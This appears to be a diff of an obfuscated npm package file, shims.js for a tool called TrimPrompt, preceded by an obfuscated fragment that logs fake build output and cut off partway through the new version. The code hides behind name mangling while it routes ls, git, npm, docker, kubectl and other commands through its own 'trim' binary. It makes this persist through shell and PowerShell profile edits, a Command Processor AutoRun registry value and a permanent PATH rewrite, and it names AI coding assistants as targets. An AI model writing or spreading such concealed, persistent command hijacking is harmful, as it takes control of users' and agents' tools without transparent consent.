a0_0x2f16(_0x4b9f31,_0xebd5f9){_0x4b9f31=_0x4b9f31-0xf1;const _0x2c54df=a0_0x2c54();let _0x2f169c=_0x2c54df[_0x4b9f31];return _0x2f169c;}const tracker_1=require(a0_0x490ebe(0x10f));console[a0_0x490ebe(0xf5)](a0_0x490ebe(0x109)),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0x113),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x115),a0_0x490ebe(0x103)+a0_0x490ebe(0xf4)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x490ebe(0xfb)](0x190),a0_0x490ebe(0xf3),0x0),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0xf8),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x10e),a0_0x490ebe(0x105)+a0_0x490ebe(0x112)+a0_0x490ebe(0xf9)+a0_0x490ebe(0xff)[a0_0x490ebe(0xfb)](0x12c)+a0_0x490ebe(0x100),a0_0x490ebe(0x110),0x0),process.env.TRIMPROMPT_MODEL=a0_0x490ebe(0x10b),tracker_1[a0_0x490ebe(0xf1)][a0_0x490ebe(0x10d)](a0_0x490ebe(0x114),'Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a'+'Step\x201/10\x20:\x20FROM\x20node:20\x0a'+'Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x490ebe(0xfb)](0x3)+a0_0x490ebe(0x107),a0_0x490ebe(0xfd),0x0),console[a0_0x490ebe(0xf5)](a0_0x490ebe(0x106));
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x93d41c=a0_0xfa8d;(function(_0x3b0244,_0x98831d){const _0x44aac3=a0_0xfa8d,_0x3e0c47=_0x3b0244();while(!![]){try{const _0x14b9df=-parseInt(_0x44aac3(0xab))/0x1*(parseInt(_0x44aac3(0xa1))/0x2)+-parseInt(_0x44aac3(0xd6))/0x3*(-parseInt(_0x44aac3(0x9a))/0x4)+-parseInt(_0x44aac3(0x98))/0x5*(parseInt(_0x44aac3(0x10c))/0x6)+-parseInt(_0x44aac3(0xb3))/0x7+-parseInt(_0x44aac3(0x106))/0x8+-parseInt(_0x44aac3(0xc2))/0x9*(-parseInt(_0x44aac3(0xc9))/0xa)+-parseInt(_0x44aac3(0x108))/0xb*(-parseInt(_0x44aac3(0x105))/0xc);if(_0x14b9df===_0x98831d)break;else _0x3e0c47['push'](_0x3e0c47['shift']());}catch(_0x2b02b7){_0x3e0c47['push'](_0x3e0c47['shift']());}}}(a0_0x3ef0,0x5af59));function a0_0x3ef0(){const _0x428c81=['pip','5MHciCi','.bashrc','848176hIUYXk','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','@echo\x20off','.bash_profile','writeFileSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','308410ATKCiC','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','Remove-ItemProperty\x20-Path\x20\x27','.zshrc','.cmd','getOwnPropertyDescriptor','ignore','\x20@args\x20}\x20else\x20{\x20&\x20','ruff','1hfWfzG','\x22\x20set\x20\x22PATH=','\x20\x20trim\x20','platform','defineProperty','join','read','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','3129322fIMsCZ','tree','__setModuleDefault','npx','-NoProfile','existsSync','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','message','cargo','\x20-NoProfile\x20-Command\x20\x22','trim.cmd','glab','\x0a#\x20','push','create','36DZMiSp','grep','get','TrimPrompt\x20Shims\x20PATH','readdirSync','installShims','.trimprompt','1149660plrBAB','__createBinding','split','pip3','\x20\x20set\x20\x22PATH=%PATH:','filter','configurable','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20&\x20','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','$PROFILE.CurrentUserAllHosts','\x0aexport\x20PATH=\x22','dirname','6sGqzJf','map','.profile','\x27,\x20\x27User\x27)','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','npm','trim','some','utf8',';=%\x22','powershell\x20-NoProfile\x20-Command\x20\x22','readFileSync','execFileSync',';\x22\x20+\x20$env:PATH\x0a','.ps1',')\x20else\x20(','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','getOwnPropertyNames','shims','__esModule','child_process','\x20%*','docker','chmodSync','\x20\x22$@\x22;\x20fi\x0a','path','\x20commands.\x0a\x0a','includes','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','kubectl','hasOwnProperty','win32','rmdirSync',':$PATH\x22','replace','export\x20PATH=\x22','__importStar','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','New-Item\x20-Path\x20\x27',':$PATH\x22\x0a','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','length',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','-Command','toLowerCase','appendFileSync','12chFGZG','4963056lCxoeE','default','10466159yzUepm','if\x20exist\x20\x22','uninstallShims','yarn','1447314CPopQA','mkdirSync','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','unlinkSync','cat','call','powershell.exe','pipe','writable','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','execSync','prototype','homedir','Failed\x20to\x20uninstall\x20shims:\x20','pwsh'];a0_0x3ef0=function(){return _0x428c81;};return a0_0x3ef0();}function a0_0xfa8d(_0x511354,_0x525d5e){_0x511354=_0x511354-0x8f;const _0x3ef0b1=a0_0x3ef0();let _0xfa8d38=_0x3ef0b1[_0x511354];return _0xfa8d38;}var __createBinding=this&&this[a0_0x93d41c(0xca)]||(Object[a0_0x93d41c(0xc1)]?function(_0x5de57e,_0x50fdbd,_0x55f01c,_0x37dc7f){const _0x4dc0e5=a0_0x93d41c;if(_0x37dc7f===undefined)_0x37dc7f=_0x55f01c;var _0x39cacf=Object[_0x4dc0e5(0xa7)](_0x50fdbd,_0x55f01c);(!_0x39cacf||(_0x4dc0e5(0xc4)in _0x39cacf?!_0x50fdbd[_0x4dc0e5(0xea)]:_0x39cacf[_0x4dc0e5(0x90)]||_0x39cacf[_0x4dc0e5(0xcf)]))&&(_0x39cacf={'enumerable':!![],'get':function(){return _0x50fdbd[_0x55f01c];}}),Object[_0x4dc0e5(0xaf)](_0x5de57e,_0x37dc7f,_0x39cacf);}:function(_0x4fae55,_0x3bf437,_0x37defc,_0x1d5ac5){if(_0x1d5ac5===undefined)_0x1d5ac5=_0x37defc;_0x4fae55[_0x1d5ac5]=_0x3bf437[_0x37defc];}),__setModuleDefault=this&&this[a0_0x93d41c(0xb5)]||(Object[a0_0x93d41c(0xc1)]?function(_0x10e00f,_0x4ac0ce){const _0x1cf18c=a0_0x93d41c;Object[_0x1cf18c(0xaf)](_0x10e00f,'default',{'enumerable':!![],'value':_0x4ac0ce});}:function(_0x48f375,_0x1269d0){const _0x3cc7ee=a0_0x93d41c;_0x48f375[_0x3cc7ee(0x107)]=_0x1269d0;}),__importStar=this&&this[a0_0x93d41c(0xfb)]||(function(){var _0x4fff5b=function(_0x64027d){const _0x243fb2=a0_0xfa8d;return _0x4fff5b=Object[_0x243fb2(0xe8)]||function(_0x4ad848){const _0x12d2b5=_0x243fb2;var _0x317026=[];for(var _0x2e3866 in _0x4ad848)if(Object[_0x12d2b5(0x93)][_0x12d2b5(0xf5)][_0x12d2b5(0x111)](_0x4ad848,_0x2e3866))_0x317026[_0x317026[_0x12d2b5(0x100)]]=_0x2e3866;return _0x317026;},_0x4fff5b(_0x64027d);};return function(_0x1fc61c){const _0x31ac8c=a0_0xfa8d;if(_0x1fc61c&&_0x1fc61c['__esModule'])return _0x1fc61c;var _0x21143e={};if(_0x1fc61c!=null){for(var _0xfb506b=_0x4fff5b(_0x1fc61c),_0x25adc2=0x0;_0x25adc2<_0xfb506b[_0x31ac8c(0x100)];_0x25adc2++)if(_0xfb506b[_0x25adc2]!=='default')__createBinding(_0x21143e,_0x1fc61c,_0xfb506b[_0x25adc2]);}return __setModuleDefault(_0x21143e,_0x1fc61c),_0x21143e;};}());Object[a0_0x93d41c(0xaf)](exports,a0_0x93d41c(0xea),{'value':!![]}),exports[a0_0x93d41c(0xc7)]=installShims,exports[a0_0x93d41c(0x10a)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x93d41c(0xf0))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x93d41c(0xb4),a0_0x93d41c(0x110),a0_0x93d41c(0xb1),a0_0x93d41c(0xc3),'rg',a0_0x93d41c(0xaa),'git','gh',a0_0x93d41c(0xbe),a0_0x93d41c(0xbb),a0_0x93d41c(0xdb),'pnpm',a0_0x93d41c(0xb6),a0_0x93d41c(0x10b),a0_0x93d41c(0xf4),a0_0x93d41c(0xed),'pytest',a0_0x93d41c(0x97),a0_0x93d41c(0xcc),'go'],PROFILE_MARKER=a0_0x93d41c(0xc5);function getExecSync(){const _0x14bc48=a0_0x93d41c;return require(_0x14bc48(0xeb))[_0x14bc48(0x92)];}function getExecFileSync(){const _0x565906=a0_0x93d41c;return require(_0x565906(0xeb))[_0x565906(0xe2)];}function ensureProfileContains(_0x111c86,_0x3d4684,_0x1300d3){const _0x42df29=a0_0x93d41c;try{const _0x44790d=path[_0x42df29(0xd5)](_0x111c86);!fs[_0x42df29(0xb8)](_0x44790d)&&fs[_0x42df29(0x10d)](_0x44790d,{'recursive':!![]});if(fs['existsSync'](_0x111c86)){const _0x1772a1=fs[_0x42df29(0xe1)](_0x111c86,_0x42df29(0xde));if(_0x1772a1['includes'](_0x3d4684))return;fs[_0x42df29(0x104)](_0x111c86,_0x1300d3,_0x42df29(0xde));}else fs['writeFileSync'](_0x111c86,_0x1300d3,_0x42df29(0xde));}catch{}}function removeProfileBlock(_0x39c58b,_0x511fa7){const _0x3c96bd=a0_0x93d41c;try{if(!fs[_0x3c96bd(0xb8)](_0x39c58b))return;const _0x5e60da=fs[_0x3c96bd(0xe1)](_0x39c58b,'utf8');if(!_0x5e60da[_0x3c96bd(0xf2)](_0x511fa7))return;const _0x40986d=_0x5e60da[_0x3c96bd(0xcb)]('\x0a'),_0x46d1e3=[];let _0x660f65=![];for(let _0x8f026e=0x0;_0x8f026e<_0x40986d[_0x3c96bd(0x100)];_0x8f026e++){if(_0x40986d[_0x8f026e]['includes'](_0x511fa7)){_0x660f65=!![];continue;}if(_0x660f65){_0x660f65=![];continue;}_0x46d1e3[_0x3c96bd(0xc0)](_0x40986d[_0x8f026e]);}const _0x51e4e0=_0x46d1e3[_0x3c96bd(0xb0)]('\x0a')[_0x3c96bd(0xf9)](/\n{3,}/g,'\x0a\x0a');fs[_0x3c96bd(0x9f)](_0x39c58b,_0x51e4e0,_0x3c96bd(0xde));}catch{}}function collectPowerShellProfiles(){const _0x50e4cc=a0_0x93d41c,_0x262727=getExecSync(),_0x299894=[],_0x5579c6=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell',_0x50e4cc(0xd3)]];try{_0x262727(_0x50e4cc(0x9b),{'stdio':_0x50e4cc(0xa8)}),_0x5579c6[_0x50e4cc(0xc0)]([_0x50e4cc(0x96),_0x50e4cc(0xd3)]);}catch{}for(const [_0x279c3a,_0x18b0ac]of _0x5579c6){try{const _0x3b54d8=_0x262727(_0x279c3a+_0x50e4cc(0xbc)+_0x18b0ac+'\x22',{'encoding':_0x50e4cc(0xde)})['trim']();_0x3b54d8&&!_0x299894[_0x50e4cc(0xdd)](_0x219bfd=>_0x219bfd['toLowerCase']()===_0x3b54d8[_0x50e4cc(0x103)]())&&_0x299894[_0x50e4cc(0xc0)](_0x3b54d8);}catch{}}return _0x299894;}function getBashProfilesWindows(){const _0x595bc1=a0_0x93d41c,_0x19ecae=os[_0x595bc1(0x94)]();return[_0x595bc1(0x99),_0x595bc1(0x9e)][_0x595bc1(0xd7)](_0x4e6827=>path[_0x595bc1(0xb0)](_0x19ecae,_0x4e6827));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x3695b4=a0_0x93d41c,_0x57b2ff=path['join'](os[_0x3695b4(0x94)](),_0x3695b4(0xc8),_0x3695b4(0xe9));try{!fs[_0x3695b4(0xb8)](_0x57b2ff)&&fs[_0x3695b4(0x10d)](_0x57b2ff,{'recursive':!![]});const _0x5baafb=os[_0x3695b4(0xae)]()===_0x3695b4(0xf6);for(const _0x3fa8e6 of SHIMMED_COMMANDS){if(_0x5baafb){const _0xabafa8=path[_0x3695b4(0xb0)](_0x57b2ff,_0x3fa8e6+_0x3695b4(0xa6)),_0x304bbc=process.env.APPDATA?path[_0x3695b4(0xb0)](process.env.APPDATA,_0x3695b4(0xdb)):'',_0x436129=_0x304bbc?_0x3695b4(0x109)+path[_0x3695b4(0xb0)](_0x304bbc,_0x3695b4(0xbd))+'\x22':_0x3695b4(0xd0),_0x203a1e=[_0x3695b4(0x9d),_0x436129+'\x20(',_0x3695b4(0xad)+_0x3fa8e6+_0x3695b4(0xec),_0x3695b4(0xe5),_0x3695b4(0xcd)+_0x57b2ff+_0x3695b4(0xdf),'\x20\x20'+_0x3fa8e6+_0x3695b4(0xec),')'][_0x3695b4(0xb0)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0xabafa8,_0x203a1e,'utf8');const _0x30c4c8=path[_0x3695b4(0xb0)](_0x57b2ff,_0x3fa8e6+_0x3695b4(0xe4)),_0x48be38=_0x3695b4(0x91)+_0x3fa8e6+_0x3695b4(0xa9)+_0x3fa8e6+'\x20@args\x20}\x0a';fs[_0x3695b4(0x9f)](_0x30c4c8,_0x48be38,_0x3695b4(0xde));const _0x16b142=path['join'](_0x57b2ff,_0x3fa8e6),_0xe9d7a8=_0x57b2ff[_0x3695b4(0xf9)](/\\/g,'/')[_0x3695b4(0xf9)](/^([A-Za-z]):/,(_0x41015a,_0x4875f9)=>'/'+_0x4875f9[_0x3695b4(0x103)]()),_0x13aa0f=_0x3695b4(0xb2)+_0x3fa8e6+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0xe9d7a8+_0x3695b4(0x101)+_0x3fa8e6+_0x3695b4(0xef);fs[_0x3695b4(0x9f)](_0x16b142,_0x13aa0f,'utf8');}else{const _0x1bcaf0=path['join'](_0x57b2ff,_0x3fa8e6),_0x4d096d='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x3fa8e6+_0x3695b4(0xa3)+_0x3fa8e6+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x3695b4(0x9f)](_0x1bcaf0,_0x4d096d,_0x3695b4(0xde)),fs[_0x3695b4(0xee)](_0x1bcaf0,'755');}}let _0x471eb4=![],_0x26c4c4='';if(_0x5baafb)try{const _0x5a8479=getExecSync(),_0xae7be5='\x0a#\x20'+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x57b2ff+_0x3695b4(0xe3),_0x49ae76=collectPowerShellProfiles();for(const _0xb635a8 of _0x49ae76){ensureProfileContains(_0xb635a8,_0x57b2ff,_0xae7be5);}try{const _0x400310=getExecFileSync(),_0x35823=_0x3695b4(0x109)+_0x57b2ff+_0x3695b4(0xac)+_0x57b2ff+';%PATH%\x22',_0xb67ae4=_0x3695b4(0x9c);let _0xee7187='';try{const _0x24b6d4=_0x3695b4(0xfc)+_0xb67ae4+_0x3695b4(0xe6);_0xee7187=_0x400310(_0x3695b4(0x112),[_0x3695b4(0xb7),_0x3695b4(0x102),_0x24b6d4],{'encoding':_0x3695b4(0xde),'stdio':[_0x3695b4(0x8f),'pipe','ignore']})[_0x3695b4(0xdc)]();}catch{}if(!_0xee7187['includes'](_0x57b2ff)){const _0x50240a=_0xee7187?_0xee7187+'\x20&\x20'+_0x35823:_0x35823,_0x13a26e=_0x3695b4(0xfd)+_0xb67ae4+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xb67ae4+_0x3695b4(0xa2)+_0x50240a+'\x27';_0x400310('powershell.exe',['-NoProfile',_0x3695b4(0x102),_0x13a26e],{'stdio':_0x3695b4(0xa8)});}}catch{}try{const _0x2af880=_0x57b2ff[_0x3695b4(0xf9)](/\\/g,'/')[_0x3695b4(0xf9)](/^([A-Za-z]):/,(_0x45e086,_0x36aa59)=>'/'+_0x36aa59[_0x3695b4(0x103)]()),_0x448348=_0x3695b4(0xbf)+PROFILE_MARKER+_0x3695b4(0xd4)+_0x2af880+_0x3695b4(0xfe),_0x190de1=getBashProfilesWindows();let _0x5dbbb7=![];for(const _0x31bbd0 of _0x190de1){fs[_0x3695b4(0xb8)](_0x31bbd0)&&(ensureProfileContains(_0x31bbd0,_0x2af880,_0x448348),_0x5dbbb7=!![]);}!_0x5dbbb7&&ensureProfileContains(_0x190de1[0x0],_0x2af880,_0x448348);}catch{}const _0x57b180=_0x3695b4(0xff),_0x30f4b1=_0x5a8479(_0x3695b4(0xe0)+_0x57b180+'\x22',{'encoding':'utf8','stdio':[_0x3695b4(0x8f),_0x3695b4(0x8f),_0x3695b4(0xa8)]})[_0x3695b4(0xdc)]();if(!_0x30f4b1['includes'](_0x57b2ff)){const _0x1e4f49=_0x57b2ff+';'+_0x30f4b1,_0x1732d4=_0x1e4f49[_0x3695b4(0xf9)](/'/g,'\x27\x27'),_0x3a3f73=_0x3695b4(0xe7)+_0x1732d4+_0x3695b4(0xd9);_0x5a8479('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3a3f73+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3695b4(0xa8)});}const _0x3ad6e0=path['join'](process.env.APPDATA||'',_0x3695b4(0xdb),'trim.ps1');if(fs[_0x3695b4(0xb8)](_0x3ad6e0))try{fs[_0x3695b4(0x10f)](_0x3ad6e0);}catch{}_0x471eb4=!![];}catch(_0x289dcb){_0x26c4c4=_0x3695b4(0xb9)+_0x57b2ff;}else try{const _0x50c8ad=_0x3695b4(0xfa)+_0x57b2ff+_0x3695b4(0xfe),_0x32e831=os['homedir'](),_0x316f39=['.bashrc',_0x3695b4(0xa5),_0x3695b4(0x9e),_0x3695b4(0xd8)];let _0x38623e=![];for(const _0x1a5a70 of _0x316f39){const _0x2f96eb=path['join'](_0x32e831,_0x1a5a70);fs[_0x3695b4(0xb8)](_0x2f96eb)&&(ensureProfileContains(_0x2f96eb,_0x57b2ff,_0x3695b4(0xbf)+PROFILE_MARKER+'\x0a'+_0x50c8ad),_0x38623e=!![]);}if(!_0x38623e){const _0x49ee01=path[_0x3695b4(0xb0)](_0x32e831,_0x3695b4(0x99));ensureProfileContains(_0x49ee01,_0x57b2ff,_0x3695b4(0xbf)+PROFILE_MARKER+'\x0a'+_0x50c8ad);}_0x471eb4=!![];}catch(_0x518e18){_0x26c4c4=_0x3695b4(0xd2)+_0x57b2ff+_0x3695b4(0xf8);}const _0x154341=_0x3695b4(0xda)+SHIMMED_COMMANDS[_0x3695b4(0x100)]+_0x3695b4(0xf1),_0x3df938=_0x471eb4?_0x154341+_0x3695b4(0x10e):_0x154341+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x26c4c4;return{'success':!![],'pathDir':_0x57b2ff,'message':_0x3df938};}catch(_0x534872){return{'success':![],'pathDir':_0x57b2ff,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x534872[_0x3695b4(0xba)]};}}function uninstallShims(){const _0x3029f2=a0_0x93d41c,_0x5a11c3=path[_0x3029f2(0xb0)](os['homedir'](),_0x3029f2(0xc8),_0x3029f2(0xe9)),_0x25668b=os['platform']()===_0x3029f2(0xf6);try{if(_0x25668b){const _0x3dc74f=getExecSync();try{const _0x1ff93b=getExecFileSync(),_0x5d986b='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x9dc2c5='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x5d986b+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x1829b4=_0x1ff93b(_0x3029f2(0x112),[_0x3029f2(0xb7),_0x3029f2(0x102),_0x9dc2c5],{'encoding':_0x3029f2(0xde),'stdio':[_0x3029f2(0x8f),_0x3029f2(0x8f),_0x3029f2(0xa8)]})[_0x3029f2(0xdc)]();if(_0x1829b4[_0x3029f2(0xf2)](_0x5a11c3)){const _0x8118a8=_0x1829b4['split'](_0x3029f2(0xd1))[_0x3029f2(0xce)](_0x4a4cae=>!_0x4a4cae[_0x3029f2(0xf2)](_0x5a11c3));if(_0x8118a8['length']===0x0){const _0x2ae138=_0x3029f2(0xa4)+_0x5d986b+_0x3029f2(0xf3);_0x1ff93b(_0x3029f2(0x112),[_0x3029f2(0xb7),_0x3029f2(0x102),_0x2ae138],{'stdio':'ignore'});}else{const _0x480248=_0x8118a8[_0x3029f2(0xb0)](_0x3029f2(0xd1)),_0x3c59fd='Set-ItemProperty\x20-Path\x20\x27'+_0x5d986b+_0x3029f2(0xa2)+_0x480248+'\x27';_0x1ff93b(_0x3029f2(0x112),['-NoProfile',_0x3029f2(0x102),_0x3c59fd],{'stdio':_0x3029f2(0xa8)});}}}catch{}try{const _0x147a86=collectPowerShellProfiles();for(const _0x46df54 of _0x147a86){removeProfileBlock(_0x46df54,PROFILE_MARKER);}}catch{}try{for(const _0x80a514 of getBashProfilesWindows()){removeProfileBlock(_0x80a514,PROFILE_MARKER);}}catch{}try{const _0x3f2fd0=_0x3029f2(0xff),_0x87aa5=_0x3dc74f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3f2fd0+'\x22',{'encoding':_0x3029f2(0xde),'stdio':[_0x3029f2(0x8f),_0x3029f2(0x8f),'ignore']})[_0x3029f2(0xdc)]();if(_0x87aa5[_0x3029f2(0xf2)](_0x5a11c3)){const _0x46b06a=_0x87aa5[_0x3029f2(0xcb)](';')[_0x3029f2(0xce)](_0x199f41=>_0x199f41[_0x3029f2(0xdc)]()[_0x3029f2(0x103)]()!==_0x5a11c3[_0x3029f2(0x103)]())[_0x3029f2(0xb0)](';'),_0x2e624a=_0x46b06a[_0x3029f2(0xf9)](/'/g,'\x27\x27'),_0x27d239='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x2e624a+_0x3029f2(0xd9);_0x3dc74f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x27d239+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3029f2(0xa8)});}}catch{}}else{const _0xc8113e=os[_0x3029f2(0x94)](),_0x4bd981=[_0x3029f2(0x99),_0x3029f2(0xa5),'.bash_profile',_0x3029f2(0xd8)];for(const _0x3409ba of _0x4bd981){removeProfileBlock(path[_0x3029f2(0xb0)](_0xc8113e,_0x3409ba),PROFILE_MARKER);}}if(fs[_0x3029f2(0xb8)](_0x5a11c3)){const _0x391870=fs[_0x3029f2(0xc6)](_0x5a11c3);for(const _0x2d6d9b of _0x391870){fs['unlinkSync'](path[_0x3029f2(0xb0)](_0x5a11c3,_0x2d6d9b));}fs[_0x3029f2(0xf7)](_0x5a11c3);}return{'success':!![],'message':_0x3029f2(0xa0)};}catch(_0x41bd18){return{'success':![],'message':_0x3029f2(0x95)+_0x41bd18[_0x3029f2(0xba)]};}}
1
+ 'use strict';const a0_0x3da6f7=a0_0x25cb;(function(_0xf5f27e,_0x212c41){const _0x2efbfc=a0_0x25cb,_0x1f8dfd=_0xf5f27e();while(!![]){try{const _0x1367fb=-parseInt(_0x2efbfc(0x15b))/0x1*(parseInt(_0x2efbfc(0x198))/0x2)+-parseInt(_0x2efbfc(0x18c))/0x3*(-parseInt(_0x2efbfc(0x1a5))/0x4)+-parseInt(_0x2efbfc(0x150))/0x5+parseInt(_0x2efbfc(0x1ac))/0x6+-parseInt(_0x2efbfc(0x16a))/0x7+parseInt(_0x2efbfc(0x153))/0x8+parseInt(_0x2efbfc(0x17e))/0x9;if(_0x1367fb===_0x212c41)break;else _0x1f8dfd['push'](_0x1f8dfd['shift']());}catch(_0xa16f74){_0x1f8dfd['push'](_0x1f8dfd['shift']());}}}(a0_0xa41f,0xb9f6e));var __createBinding=this&&this[a0_0x3da6f7(0x164)]||(Object[a0_0x3da6f7(0x1aa)]?function(_0x219efe,_0x203d28,_0x2d0125,_0x3b4449){const _0x472f9e=a0_0x3da6f7;if(_0x3b4449===undefined)_0x3b4449=_0x2d0125;var _0x244bac=Object[_0x472f9e(0x14e)](_0x203d28,_0x2d0125);(!_0x244bac||(_0x472f9e(0x199)in _0x244bac?!_0x203d28[_0x472f9e(0x1b3)]:_0x244bac[_0x472f9e(0x13c)]||_0x244bac[_0x472f9e(0x14d)]))&&(_0x244bac={'enumerable':!![],'get':function(){return _0x203d28[_0x2d0125];}}),Object[_0x472f9e(0x1a9)](_0x219efe,_0x3b4449,_0x244bac);}:function(_0x630bca,_0x3d9940,_0x27f7fa,_0x18dac6){if(_0x18dac6===undefined)_0x18dac6=_0x27f7fa;_0x630bca[_0x18dac6]=_0x3d9940[_0x27f7fa];}),__setModuleDefault=this&&this[a0_0x3da6f7(0x16b)]||(Object[a0_0x3da6f7(0x1aa)]?function(_0x3c2b14,_0x473d3a){const _0x1b06fd=a0_0x3da6f7;Object[_0x1b06fd(0x1a9)](_0x3c2b14,_0x1b06fd(0x19e),{'enumerable':!![],'value':_0x473d3a});}:function(_0x34023f,_0xdbf850){const _0x4c773f=a0_0x3da6f7;_0x34023f[_0x4c773f(0x19e)]=_0xdbf850;}),__importStar=this&&this['__importStar']||(function(){var _0x387677=function(_0x146522){const _0x37b294=a0_0x25cb;return _0x387677=Object[_0x37b294(0x161)]||function(_0x1f7570){const _0x46e912=_0x37b294;var _0x3aaa4b=[];for(var _0x488f46 in _0x1f7570)if(Object[_0x46e912(0x154)]['hasOwnProperty'][_0x46e912(0x183)](_0x1f7570,_0x488f46))_0x3aaa4b[_0x3aaa4b[_0x46e912(0x166)]]=_0x488f46;return _0x3aaa4b;},_0x387677(_0x146522);};return function(_0x2073ee){const _0x469fa0=a0_0x25cb;if(_0x2073ee&&_0x2073ee[_0x469fa0(0x1b3)])return _0x2073ee;var _0x2d825e={};if(_0x2073ee!=null){for(var _0x56643d=_0x387677(_0x2073ee),_0x4c4439=0x0;_0x4c4439<_0x56643d['length'];_0x4c4439++)if(_0x56643d[_0x4c4439]!==_0x469fa0(0x19e))__createBinding(_0x2d825e,_0x2073ee,_0x56643d[_0x4c4439]);}return __setModuleDefault(_0x2d825e,_0x2073ee),_0x2d825e;};}());Object[a0_0x3da6f7(0x1a9)](exports,a0_0x3da6f7(0x1b3),{'value':!![]}),exports[a0_0x3da6f7(0x140)]=installShims,exports[a0_0x3da6f7(0x193)]=uninstallShims;const 